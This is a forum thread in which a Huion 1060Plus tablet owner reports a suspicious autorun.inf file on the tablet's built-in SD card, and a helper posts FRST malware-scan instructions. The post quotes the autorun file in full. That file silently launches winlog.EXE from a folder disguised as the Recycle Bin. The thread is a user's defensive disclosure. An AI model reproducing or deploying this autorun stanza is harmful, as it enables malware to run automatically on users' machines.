Huion 1060Plus security issue?

Hi all – I found myself on here after Googling a bit concerning the security of my new Huion tablet. There was a single, locked topic concerning a malware infection that may have involved the tablet driver, and so I thought I'd briefly chime in with my own experience, in case it should prove useful to others down the road.

 

The 1060Plus model has an in-built SD card reader, advertised as convenient for moving files around, and also containing drivers for the tablet itself. So far so good, but I also came upon some files that gave me pause. Specifically there was an autorun.inf file with these contents:

 

[autorun]
open=\Recycled.{645FF040-5081-101B-9F08-00AA002F954E}\winlog.EXE
shell\open=´ò¿ª(&O)
shell\open\Command=Recycled.{645FF040-5081-101B-9F08-00AA002F954E}\winlog.EXE
shell\open\Default=1
shell\explore=×ÊÔ´¹ÜÀíÆ÷(&X)
shell\explore\Command=Recycled.{645FF040-5081-101B-9F08-00AA002F954E}\winlog.EXE

 

…and in poking around a bit on the inbuilt SD card, I found a version of my Recycle Bin (named with the 645FF etc. label), containing pointers to files I'd deleted on my computer hard drive over the past month or so, which were never on the card itself.

 

I guess my question is whether this functionality is just an innocuous component of removable drives, or if there's something more going on? I suspect the latter, given other references on the web to winlog.exe. A related concern is that there's a button in the tablet's taskbar app for granting it administrator privileges, necessary I have found when using it with Photoshop.

 

Thanks for any thoughts you may have.

To give an exact on whats going on,?….I got no clue but what we can do is check for malware.

[external image: xlK5Hdb.png]Farbar Recovery Scan Tool (FRST) Scan

• Please download Farbar Recovery Scan Tool (x32) or Farbar Recovery Scan Tool (x64) and save the file to your Desktop.
• Note: Download and run the version compatible with your system (32 or 64-bit). Download both if you're unsure; only one will run.
• Right-Click FRST.exe / FRST64.exe and select [external image: AVOiBNU.jpg]Run as administrator to run the programme.
• Click Yes to the disclaimer.
• Ensure the Addition.txt box is checked.
• Click the Scan button and let the programme run.
• Upon completion, click OK, then OK on the Addition.txt pop up screen.
• Two logs (FRST.txt & Addition.txt) will now be open on your Desktop. Copy the contents of both logs and paste in your next reply.
  
  

bump

Hi Juliet – I ran a malware check after discovering what it was doing, and saw nothing. I appreciate the offer to help, my thinking was more about noting this down somewhere in case others who have a Huion encounter what I'm pretty sure was some kind of spyware. You can mark the thread as closed. Thanks.

Thank you for the info.